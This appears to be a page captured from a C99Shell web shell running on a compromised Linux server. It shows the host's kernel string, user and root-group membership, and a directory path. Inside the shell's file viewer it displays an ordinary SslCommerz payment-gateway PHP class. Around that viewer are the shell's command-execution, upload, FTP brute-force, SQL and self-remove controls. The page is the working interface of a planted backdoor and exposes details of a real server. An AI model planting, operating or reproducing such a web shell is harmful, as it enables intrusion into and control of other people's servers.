!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Library/SslCommerz/   drwxr-xr-x
Free 26.62 GB of 117.98 GB (22.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AbstractSslCommerz.php (3.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Library\SslCommerz;

abstract class 
AbstractSslCommerz implements SslCommerzInterface
{
    protected 
$apiUrl;

    protected 
$storeId;

    protected 
$storePassword;

    protected function 
setStoreId($storeID)
    {
        
$this->storeId $storeID;
    }

    protected function 
getStoreId()
    {
        return 
$this->storeId;
    }

    protected function 
setStorePassword($storePassword)
    {
        
$this->storePassword $storePassword;
    }

    protected function 
getStorePassword()
    {
        return 
$this->storePassword;
    }

    protected function 
setApiUrl($url)
    {
        
$this->apiUrl $url;
    }

    protected function 
getApiUrl()
    {
        return 
$this->apiUrl;
    }

    
/**
     * @param  array  $header
     * @param  bool  $setLocalhost
     * @return bool|string
     */
    
public function callToApi($data$header = [], $setLocalhost false)
    {
        
$curl curl_init();

        if (! 
$setLocalhost) {
            
curl_setopt($curlCURLOPT_SSL_VERIFYPEERtrue);
            
curl_setopt($curlCURLOPT_SSL_VERIFYHOST2); // The default value for this option is 2. It means, it has to have the same name in the certificate as is in the URL you operate against.
        
} else {
            
curl_setopt($curlCURLOPT_SSL_VERIFYPEERfalse);
            
curl_setopt($curlCURLOPT_SSL_VERIFYHOST0); // When the verify value is 0, the connection succeeds regardless of the names in the certificate.
        
}

        
curl_setopt($curlCURLOPT_URL$this->getApiUrl());
        
curl_setopt($curlCURLOPT_HEADER0);
        
curl_setopt($curlCURLOPT_HTTPHEADER$header);
        
curl_setopt($curlCURLOPT_TIMEOUT60);
        
curl_setopt($curlCURLOPT_RETURNTRANSFER1);

        
curl_setopt($curlCURLOPT_POST1);
        
curl_setopt($curlCURLOPT_POSTFIELDS$data);

        
$response curl_exec($curl);
        
$err curl_error($curl);
        
$code curl_getinfo($curlCURLINFO_HTTP_CODE);
        
$curlErrorNo curl_errno($curl);
        
curl_close($curl);

        if (
$code == 200 & ! ($curlErrorNo)) {
            return 
$response;
        } else {
            return 
'FAILED TO CONNECT WITH SSLCOMMERZ API';
            
//return "cURL Error #:" . $err;
        
}
    }

    
/**
     * @param  string  $type
     * @param  string  $pattern
     * @return false|mixed|string
     */
    
public function formatResponse($response$type 'checkout'$pattern 'json')
    {
        
$sslcz json_decode($responsetrue);

        if (
$type != 'checkout') {
            return 
$sslcz;
        } else {
            if (isset(
$sslcz['GatewayPageURL']) && $sslcz['GatewayPageURL'] != '') {
                
// this is important to show the popup, return or echo to send json response back
                
if ($this->getApiUrl() != null && $this->getApiUrl() == 'https://securepay.sslcommerz.com') {
                    
$response json_encode(['status' => 'SUCCESS''data' => $sslcz['GatewayPageURL'], 'logo' => $sslcz['storeLogo']]);
                } else {
                    
$response json_encode(['status' => 'success''data' => $sslcz['GatewayPageURL'], 'logo' => $sslcz['storeLogo']]);
                }
            } else {
                
$response json_encode(['status' => 'fail''data' => null'message' => $sslcz['failedreason']]);
            }

            if (
$pattern == 'json') {
                return 
$response;
            } else {
                echo 
$response;
            }
        }
    }

    
/**
     * @param  bool  $permanent
     */
    
public function redirect($url$permanent false)
    {
        
header('Location: '.$urltrue$permanent 301 302);

        exit();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--